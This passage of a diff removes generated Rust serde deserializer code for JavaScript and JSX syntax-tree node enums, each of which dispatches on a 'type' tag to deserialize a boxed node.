-                Ok(JSXExpressionOrEmpty::Expression(Expression::LogicalExpression(node)))
-            }
-            __JSXExpressionOrEmptyTag::MemberExpression => {
-                let node: Box<MemberExpression> = <Box<
-                    MemberExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(JSXExpressionOrEmpty::Expression(Expression::MemberExpression(node)))
-            }
-            __JSXExpressionOrEmptyTag::MetaProperty => {
-                let node: Box<MetaProperty> = <Box<
-                    MetaProperty,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(JSXExpressionOrEmpty::Expression(Expression::MetaProperty(node)))
-            }
-            __JSXExpressionOrEmptyTag::NewExpression => {
-                let node: Box<NewExpression> = <Box<
-                    NewExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(JSXExpressionOrEmpty::Expression(Expression::NewExpression(node)))
-            }
-            __JSXExpressionOrEmptyTag::NullLiteral => {
-                let node: Box<NullLiteral> = <Box<
-                    NullLiteral,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(JSXExpressionOrEmpty::Expression(Expression::NullLiteral(node)))
-            }
-            __JSXExpressionOrEmptyTag::NumericLiteral => {
-                let node: Box<NumericLiteral> = <Box<
-                    NumericLiteral,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(JSXExpressionOrEmpty::Expression(Expression::NumericLiteral(node)))
-            }
-            __JSXExpressionOrEmptyTag::ObjectExpression => {
-                let node: Box<ObjectExpression> = <Box<
-                    ObjectExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(JSXExpressionOrEmpty::Expression(Expression::ObjectExpression(node)))
-            }
-            __JSXExpressionOrEmptyTag::OptionalCallExpression => {
-                let node: Box<OptionalCallExpression> = <Box<
-                    OptionalCallExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    JSXExpressionOrEmpty::Expression(
-                        Expression::OptionalCallExpression(node),
-                    ),
-                )
-            }
-            __JSXExpressionOrEmptyTag::OptionalMemberExpression => {
-                let node: Box<OptionalMemberExpression> = <Box<
-                    OptionalMemberExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    JSXExpressionOrEmpty::Expression(
-                        Expression::OptionalMemberExpression(node),
-                    ),
-                )
-            }
-            __JSXExpressionOrEmptyTag::RegExpLiteral => {
-                let node: Box<RegExpLiteral> = <Box<
-                    RegExpLiteral,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(JSXExpressionOrEmpty::Expression(Expression::RegExpLiteral(node)))
-            }
-            __JSXExpressionOrEmptyTag::SequenceExpression => {
-                let node: Box<SequenceExpression> = <Box<
-                    SequenceExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    JSXExpressionOrEmpty::Expression(
-                        Expression::SequenceExpression(node),
-                    ),
-                )
-            }
-            __JSXExpressionOrEmptyTag::StringLiteral => {
-                let node: Box<StringLiteral> = <Box<
-                    StringLiteral,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(JSXExpressionOrEmpty::Expression(Expression::StringLiteral(node)))
-            }
-            __JSXExpressionOrEmptyTag::TaggedTemplateExpression => {
-                let node: Box<TaggedTemplateExpression> = <Box<
-                    TaggedTemplateExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    JSXExpressionOrEmpty::Expression(
-                        Expression::TaggedTemplateExpression(node),
-                    ),
-                )
-            }
-            __JSXExpressionOrEmptyTag::TemplateLiteral => {
-                let node: Box<TemplateLiteral> = <Box<
-                    TemplateLiteral,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(JSXExpressionOrEmpty::Expression(Expression::TemplateLiteral(node)))
-            }
-            __JSXExpressionOrEmptyTag::ThisExpression => {
-                let node: Box<ThisExpression> = <Box<
-                    ThisExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(JSXExpressionOrEmpty::Expression(Expression::ThisExpression(node)))
-            }
-            __JSXExpressionOrEmptyTag::UnaryExpression => {
-                let node: Box<UnaryExpression> = <Box<
-                    UnaryExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(JSXExpressionOrEmpty::Expression(Expression::UnaryExpression(node)))
-            }
-            __JSXExpressionOrEmptyTag::UpdateExpression => {
-                let node: Box<UpdateExpression> = <Box<
-                    UpdateExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(JSXExpressionOrEmpty::Expression(Expression::UpdateExpression(node)))
-            }
-            __JSXExpressionOrEmptyTag::YieldExpression => {
-                let node: Box<YieldExpression> = <Box<
-                    YieldExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(JSXExpressionOrEmpty::Expression(Expression::YieldExpression(node)))
-            }
-            __JSXExpressionOrEmptyTag::JSXEmptyExpression => {
-                let node: Box<JSXEmptyExpression> = <Box<
-                    JSXEmptyExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(JSXExpressionOrEmpty::JSXEmptyExpression(node))
-            }
-        }
-    }
-}
-#[derive(Serialize, Clone, Debug)]
-#[serde(untagged)]
-pub enum JSXAttributeOrSpread {
-    JSXAttribute(Box<JSXAttribute>),
-    JSXSpreadAttribute(Box<JSXSpreadAttribute>),
-}
-#[derive(Deserialize, Debug)]
-enum __JSXAttributeOrSpreadTag {
-    JSXAttribute,
-    JSXSpreadAttribute,
-}
-impl<'de> serde::Deserialize<'de> for JSXAttributeOrSpread {
-    fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
-    where
-        D: serde::Deserializer<'de>,
-    {
-        let tagged = serde::Deserializer::deserialize_any(
-            deserializer,
-            serde::__private::de::TaggedContentVisitor::<
-                __JSXAttributeOrSpreadTag,
-            >::new("type", "JSXAttributeOrSpread"),
-        )?;
-        match tagged.0 {
-            __JSXAttributeOrSpreadTag::JSXAttribute => {
-                let node: Box<JSXAttribute> = <Box<
-                    JSXAttribute,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(JSXAttributeOrSpread::JSXAttribute(node))
-            }
-            __JSXAttributeOrSpreadTag::JSXSpreadAttribute => {
-                let node: Box<JSXSpreadAttribute> = <Box<
-                    JSXSpreadAttribute,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(JSXAttributeOrSpread::JSXSpreadAttribute(node))
-            }
-        }
-    }
-}
-#[derive(Serialize, Clone, Debug)]
-#[serde(untagged)]
-pub enum JSXAttributeValue {
-    JSXElement(Box<JSXElement>),
-    JSXExpressionContainer(Box<JSXExpressionContainer>),
-    JSXFragment(Box<JSXFragment>),
-    JSXStringLiteral(Box<JSXStringLiteral>),
-    Literal(Box<Literal>),
-}
-#[derive(Deserialize, Debug)]
-enum __JSXAttributeValueTag {
-    Literal,
-    JSXExpressionContainer,
-    JSXElement,
-    JSXFragment,
-    JSXStringLiteral,
-}
-impl<'de> serde::Deserialize<'de> for JSXAttributeValue {
-    fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
-    where
-        D: serde::Deserializer<'de>,
-    {
-        let tagged = serde::Deserializer::deserialize_any(
-            deserializer,
-            serde::__private::de::TaggedContentVisitor::<
-                __JSXAttributeValueTag,
-            >::new("type", "JSXAttributeValue"),
-        )?;
-        match tagged.0 {
-            __JSXAttributeValueTag::Literal => {
-                let node: Box<Literal> = <Box<
-                    Literal,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(JSXAttributeValue::Literal(node))
-            }
-            __JSXAttributeValueTag::JSXExpressionContainer => {
-                let node: Box<JSXExpressionContainer> = <Box<
-                    JSXExpressionContainer,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(JSXAttributeValue::JSXExpressionContainer(node))
-            }
-            __JSXAttributeValueTag::JSXElement => {
-                let node: Box<JSXElement> = <Box<
-                    JSXElement,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(JSXAttributeValue::JSXElement(node))
-            }
-            __JSXAttributeValueTag::JSXFragment => {
-                let node: Box<JSXFragment> = <Box<
-                    JSXFragment,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(JSXAttributeValue::JSXFragment(node))
-            }
-            __JSXAttributeValueTag::JSXStringLiteral => {
-                let node: Box<JSXStringLiteral> = <Box<
-                    JSXStringLiteral,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(JSXAttributeValue::JSXStringLiteral(node))
-            }
-        }
-    }
-}
-#[derive(Serialize, Clone, Debug)]
-#[serde(untagged)]
-pub enum JSXElementName {
-    JSXIdentifier(Box<JSXIdentifier>),
-    JSXMemberExpression(Box<JSXMemberExpression>),
-    JSXNamespacedName(Box<JSXNamespacedName>),
-}
-#[derive(Deserialize, Debug)]
-enum __JSXElementNameTag {
-    JSXIdentifier,
-    JSXMemberExpression,
-    JSXNamespacedName,
-}
-impl<'de> serde::Deserialize<'de> for JSXElementName {
-    fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
-    where
-        D: serde::Deserializer<'de>,
-    {
-        let tagged = serde::Deserializer::deserialize_any(
-            deserializer,
-            serde::__private::de::TaggedContentVisitor::<
-                __JSXElementNameTag,
-            >::new("type", "JSXElementName"),
-        )?;
-        match tagged.0 {
-            __JSXElementNameTag::JSXIdentifier => {
-                let node: Box<JSXIdentifier> = <Box<
-                    JSXIdentifier,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(JSXElementName::JSXIdentifier(node))
-            }
-            __JSXElementNameTag::JSXMemberExpression => {
-                let node: Box<JSXMemberExpression> = <Box<
-                    JSXMemberExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(JSXElementName::JSXMemberExpression(node))
-            }
-            __JSXElementNameTag::JSXNamespacedName => {
-                let node: Box<JSXNamespacedName> = <Box<
-                    JSXNamespacedName,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(JSXElementName::JSXNamespacedName(node))
-            }
-        }
-    }
-}
-#[derive(Serialize, Clone, Debug)]
-#[serde(untagged)]
-pub enum JSXIdentifierOrNamespacedName {
-    JSXIdentifier(Box<JSXIdentifier>),
-    JSXNamespacedName(Box<JSXNamespacedName>),
-}
-#[derive(Deserialize, Debug)]
-enum __JSXIdentifierOrNamespacedNameTag {
-    JSXIdentifier,
-    JSXNamespacedName,
-}
-impl<'de> serde::Deserialize<'de> for JSXIdentifierOrNamespacedName {
-    fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
-    where
-        D: serde::Deserializer<'de>,
-    {
-        let tagged = serde::Deserializer::deserialize_any(
-            deserializer,
-            serde::__private::de::TaggedContentVisitor::<
-                __JSXIdentifierOrNamespacedNameTag,
-            >::new("type", "JSXIdentifierOrNamespacedName"),
-        )?;
-        match tagged.0 {
-            __JSXIdentifierOrNamespacedNameTag::JSXIdentifier => {
-                let node: Box<JSXIdentifier> = <Box<
-                    JSXIdentifier,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(JSXIdentifierOrNamespacedName::JSXIdentifier(node))
-            }
-            __JSXIdentifierOrNamespacedNameTag::JSXNamespacedName => {
-                let node: Box<JSXNamespacedName> = <Box<
-                    JSXNamespacedName,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(JSXIdentifierOrNamespacedName::JSXNamespacedName(node))
-            }
-        }
-    }
-}
-#[derive(Serialize, Clone, Debug)]
-#[serde(untagged)]
-pub enum JSXChildItem {
-    JSXElement(Box<JSXElement>),
-    JSXExpressionContainer(Box<JSXExpressionContainer>),
-    JSXFragment(Box<JSXFragment>),
-    JSXSpreadChild(Box<JSXSpreadChild>),
-    JSXStringLiteral(Box<JSXStringLiteral>),
-    JSXText(Box<JSXText>),
-}
-#[derive(Deserialize, Debug)]
-enum __JSXChildItemTag {
-    JSXText,
-    JSXStringLiteral,
-    JSXExpressionContainer,
-    JSXSpreadChild,
-    JSXElement,
-    JSXFragment,
-}
-impl<'de> serde::Deserialize<'de> for JSXChildItem {
-    fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
-    where
-        D: serde::Deserializer<'de>,
-    {
-        let tagged = serde::Deserializer::deserialize_any(
-            deserializer,
-            serde::__private::de::TaggedContentVisitor::<
-                __JSXChildItemTag,
-            >::new("type", "JSXChildItem"),
-        )?;
-        match tagged.0 {
-            __JSXChildItemTag::JSXText => {
-                let node: Box<JSXText> = <Box<
-                    JSXText,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(JSXChildItem::JSXText(node))
-            }
-            __JSXChildItemTag::JSXStringLiteral => {
-                let node: Box<JSXStringLiteral> = <Box<
-                    JSXStringLiteral,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(JSXChildItem::JSXStringLiteral(node))
-            }
-            __JSXChildItemTag::JSXExpressionContainer => {
-                let node: Box<JSXExpressionContainer> = <Box<
-                    JSXExpressionContainer,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(JSXChildItem::JSXExpressionContainer(node))
-            }
-            __JSXChildItemTag::JSXSpreadChild => {
-                let node: Box<JSXSpreadChild> = <Box<
-                    JSXSpreadChild,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(JSXChildItem::JSXSpreadChild(node))
-            }
-            __JSXChildItemTag::JSXElement => {
-                let node: Box<JSXElement> = <Box<
-                    JSXElement,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(JSXChildItem::JSXElement(node))
-            }
-            __JSXChildItemTag::JSXFragment => {
-                let node: Box<JSXFragment> = <Box<
-                    JSXFragment,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(JSXChildItem::JSXFragment(node))
-            }
-        }
-    }
-}
-#[derive(Serialize, Clone, Debug)]
-#[serde(untagged)]
-pub enum DeclarationOrExpression {
-    Declaration(Declaration),
-    Expression(Expression),
-}
-#[derive(Deserialize, Debug)]
-enum __DeclarationOrExpressionTag {
-    ClassDeclaration,
-    FunctionDeclaration,
-    VariableDeclaration,
-    TSTypeAliasDeclaration,
-    ArrayExpression,
-    ArrowFunctionExpression,
-    AssignmentExpression,
-    AwaitExpression,
-    BinaryExpression,
-    BooleanLiteral,
-    CallExpression,
-    ChainExpression,
-    ClassExpression,
-    ConditionalExpression,
-    CoverTypedIdentifier,
-    FunctionExpression,
-    Identifier,
-    ImportExpression,
-    JSXElement,
-    JSXFragment,
-    Literal,
-    LogicalExpression,
-    MemberExpression,
-    MetaProperty,
-    NewExpression,
-    NullLiteral,
-    NumericLiteral,
-    ObjectExpression,
-    OptionalCallExpression,
-    OptionalMemberExpression,
-    RegExpLiteral,
-    SequenceExpression,
-    StringLiteral,
-    TaggedTemplateExpression,
-    TemplateLiteral,
-    ThisExpression,
-    UnaryExpression,
-    UpdateExpression,
-    YieldExpression,
-}
-impl<'de> serde::Deserialize<'de> for DeclarationOrExpression {
-    fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
-    where
-        D: serde::Deserializer<'de>,
-    {
-        let tagged = serde::Deserializer::deserialize_any(
-            deserializer,
-            serde::__private::de::TaggedContentVisitor::<
-                __DeclarationOrExpressionTag,
-            >::new("type", "DeclarationOrExpression"),
-        )?;
-        match tagged.0 {
-            __DeclarationOrExpressionTag::ClassDeclaration => {
-                let node: Box<ClassDeclaration> = <Box<
-                    ClassDeclaration,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    DeclarationOrExpression::Declaration(
-                        Declaration::ClassDeclaration(node),
-                    ),
-                )
-            }
-            __DeclarationOrExpressionTag::FunctionDeclaration => {
-                let node: Box<FunctionDeclaration> = <Box<
-                    FunctionDeclaration,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    DeclarationOrExpression::Declaration(
-                        Declaration::FunctionDeclaration(node),
-                    ),
-                )
-            }
-            __DeclarationOrExpressionTag::VariableDeclaration => {
-                let node: Box<VariableDeclaration> = <Box<
-                    VariableDeclaration,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    DeclarationOrExpression::Declaration(
-                        Declaration::VariableDeclaration(node),
-                    ),
-                )
-            }
-            __DeclarationOrExpressionTag::TSTypeAliasDeclaration => {
-                let node: Box<TSTypeAliasDeclaration> = <Box<
-                    TSTypeAliasDeclaration,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    DeclarationOrExpression::Declaration(
-                        Declaration::TSTypeAliasDeclaration(node),
-                    ),
-                )
-            }
-            __DeclarationOrExpressionTag::ArrayExpression => {
-                let node: Box<ArrayExpression> = <Box<
-                    ArrayExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    DeclarationOrExpression::Expression(
-                        Expression::ArrayExpression(node),
-                    ),
-                )
-            }
-            __DeclarationOrExpressionTag::ArrowFunctionExpression => {
-                let node: Box<ArrowFunctionExpression> = <Box<
-                    ArrowFunctionExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    DeclarationOrExpression::Expression(
-                        Expression::ArrowFunctionExpression(node),
-                    ),
-                )
-            }
-            __DeclarationOrExpressionTag::AssignmentExpression => {
-                let node: Box<AssignmentExpression> = <Box<
-                    AssignmentExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    DeclarationOrExpression::Expression(
-                        Expression::AssignmentExpression(node),
-                    ),
-                )
-            }
-            __DeclarationOrExpressionTag::AwaitExpression => {
-                let node: Box<AwaitExpression> = <Box<
-                    AwaitExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    DeclarationOrExpression::Expression(
-                        Expression::AwaitExpression(node),
-                    ),
-                )
-            }
-            __DeclarationOrExpressionTag::BinaryExpression => {
-                let node: Box<BinaryExpression> = <Box<
-                    BinaryExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    DeclarationOrExpression::Expression(
-                        Expression::BinaryExpression(node),
-                    ),
-                )
-            }
-            __DeclarationOrExpressionTag::BooleanLiteral => {
-                let node: Box<BooleanLiteral> = <Box<
-                    BooleanLiteral,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(DeclarationOrExpression::Expression(Expression::BooleanLiteral(node)))
-            }
-            __DeclarationOrExpressionTag::CallExpression => {
-                let node: Box<CallExpression> = <Box<
-                    CallExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(DeclarationOrExpression::Expression(Expression::CallExpression(node)))
-            }
-            __DeclarationOrExpressionTag::ChainExpression => {
-                let node: Box<ChainExpression> = <Box<
-                    ChainExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    DeclarationOrExpression::Expression(
-                        Expression::ChainExpression(node),
-                    ),
-                )
-            }
-            __DeclarationOrExpressionTag::ClassExpression => {
-                let node: Box<ClassExpression> = <Box<
-                    ClassExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    DeclarationOrExpression::Expression(
-                        Expression::ClassExpression(node),
-                    ),
-                )
-            }
-            __DeclarationOrExpressionTag::ConditionalExpression => {
-                let node: Box<ConditionalExpression> = <Box<
-                    ConditionalExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    DeclarationOrExpression::Expression(
-                        Expression::ConditionalExpression(node),
-                    ),
-                )
-            }
-            __DeclarationOrExpressionTag::CoverTypedIdentifier => {
-                let node: Box<CoverTypedIdentifier> = <Box<
-                    CoverTypedIdentifier,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    DeclarationOrExpression::Expression(
-                        Expression::CoverTypedIdentifier(node),
-                    ),
-                )
-            }
-            __DeclarationOrExpressionTag::FunctionExpression => {
-                let node: Box<FunctionExpression> = <Box<
-                    FunctionExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    DeclarationOrExpression::Expression(
-                        Expression::FunctionExpression(node),
-                    ),
-                )
-            }
-            __DeclarationOrExpressionTag::Identifier => {
-                let node: Box<Identifier> = <Box<
-                    Identifier,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(DeclarationOrExpression::Expression(Expression::Identifier(node)))
-            }
-            __DeclarationOrExpressionTag::ImportExpression => {
-                let node: Box<ImportExpression> = <Box<
-                    ImportExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    DeclarationOrExpression::Expression(
-                        Expression::ImportExpression(node),
-                    ),
-                )
-            }
-            __DeclarationOrExpressionTag::JSXElement => {
-                let node: Box<JSXElement> = <Box<
-                    JSXElement,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(DeclarationOrExpression::Expression(Expression::JSXElement(node)))
-            }
-            __DeclarationOrExpressionTag::JSXFragment => {
-                let node: Box<JSXFragment> = <Box<
-                    JSXFragment,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(DeclarationOrExpression::Expression(Expression::JSXFragment(node)))
-            }
-            __DeclarationOrExpressionTag::Literal => {
-                let node: Box<Literal> = <Box<
-                    Literal,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(DeclarationOrExpression::Expression(Expression::Literal(node)))
-            }
-            __DeclarationOrExpressionTag::LogicalExpression => {
-                let node: Box<LogicalExpression> = <Box<
-                    LogicalExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    DeclarationOrExpression::Expression(
-                        Expression::LogicalExpression(node),
-                    ),
-                )
-            }
-            __DeclarationOrExpressionTag::MemberExpression => {
-                let node: Box<MemberExpression> = <Box<
-                    MemberExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    DeclarationOrExpression::Expression(
-                        Expression::MemberExpression(node),
-                    ),
-                )
-            }
-            __DeclarationOrExpressionTag::MetaProperty => {
-                let node: Box<MetaProperty> = <Box<
-                    MetaProperty,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(DeclarationOrExpression::Expression(Expression::MetaProperty(node)))
-            }
-            __DeclarationOrExpressionTag::NewExpression => {
-                let node: Box<NewExpression> = <Box<
-                    NewExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(DeclarationOrExpression::Expression(Expression::NewExpression(node)))
-            }
-            __DeclarationOrExpressionTag::NullLiteral => {
-                let node: Box<NullLiteral> = <Box<
-                    NullLiteral,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(DeclarationOrExpression::Expression(Expression::NullLiteral(node)))
-            }
-            __DeclarationOrExpressionTag::NumericLiteral => {
-                let node: Box<NumericLiteral> = <Box<
-                    NumericLiteral,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(DeclarationOrExpression::Expression(Expression::NumericLiteral(node)))
-            }
-            __DeclarationOrExpressionTag::ObjectExpression => {
-                let node: Box<ObjectExpression> = <Box<
-                    ObjectExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    DeclarationOrExpression::Expression(
-                        Expression::ObjectExpression(node),
-                    ),
-                )
-            }
-            __DeclarationOrExpressionTag::OptionalCallExpression => {
-                let node: Box<OptionalCallExpression> = <Box<
-                    OptionalCallExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    DeclarationOrExpression::Expression(
-                        Expression::OptionalCallExpression(node),
-                    ),
-                )
-            }
-            __DeclarationOrExpressionTag::OptionalMemberExpression => {
-                let node: Box<OptionalMemberExpression> = <Box<
-                    OptionalMemberExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    DeclarationOrExpression::Expression(
-                        Expression::OptionalMemberExpression(node),
-                    ),
-                )
-            }
-            __DeclarationOrExpressionTag::RegExpLiteral => {
-                let node: Box<RegExpLiteral> = <Box<
-                    RegExpLiteral,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(DeclarationOrExpression::Expression(Expression::RegExpLiteral(node)))
-            }
-            __DeclarationOrExpressionTag::SequenceExpression => {
-                let node: Box<SequenceExpression> = <Box<
-                    SequenceExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    DeclarationOrExpression::Expression(
-                        Expression::SequenceExpression(node),
-                    ),
-                )
-            }
-            __DeclarationOrExpressionTag::StringLiteral => {
-                let node: Box<StringLiteral> = <Box<
-                    StringLiteral,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(DeclarationOrExpression::Expression(Expression::StringLiteral(node)))
-            }
-            __DeclarationOrExpressionTag::TaggedTemplateExpression => {
-                let node: Box<TaggedTemplateExpression> = <Box<
-                    TaggedTemplateExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    DeclarationOrExpression::Expression(
-                        Expression::TaggedTemplateExpression(node),
-                    ),
-                )
-            }
-            __DeclarationOrExpressionTag::TemplateLiteral => {
-                let node: Box<TemplateLiteral> = <Box<
-                    TemplateLiteral,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    DeclarationOrExpression::Expression(
-                        Expression::TemplateLiteral(node),
-                    ),
-                )
-            }
-            __DeclarationOrExpressionTag::ThisExpression => {
-                let node: Box<ThisExpression> = <Box<
-                    ThisExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
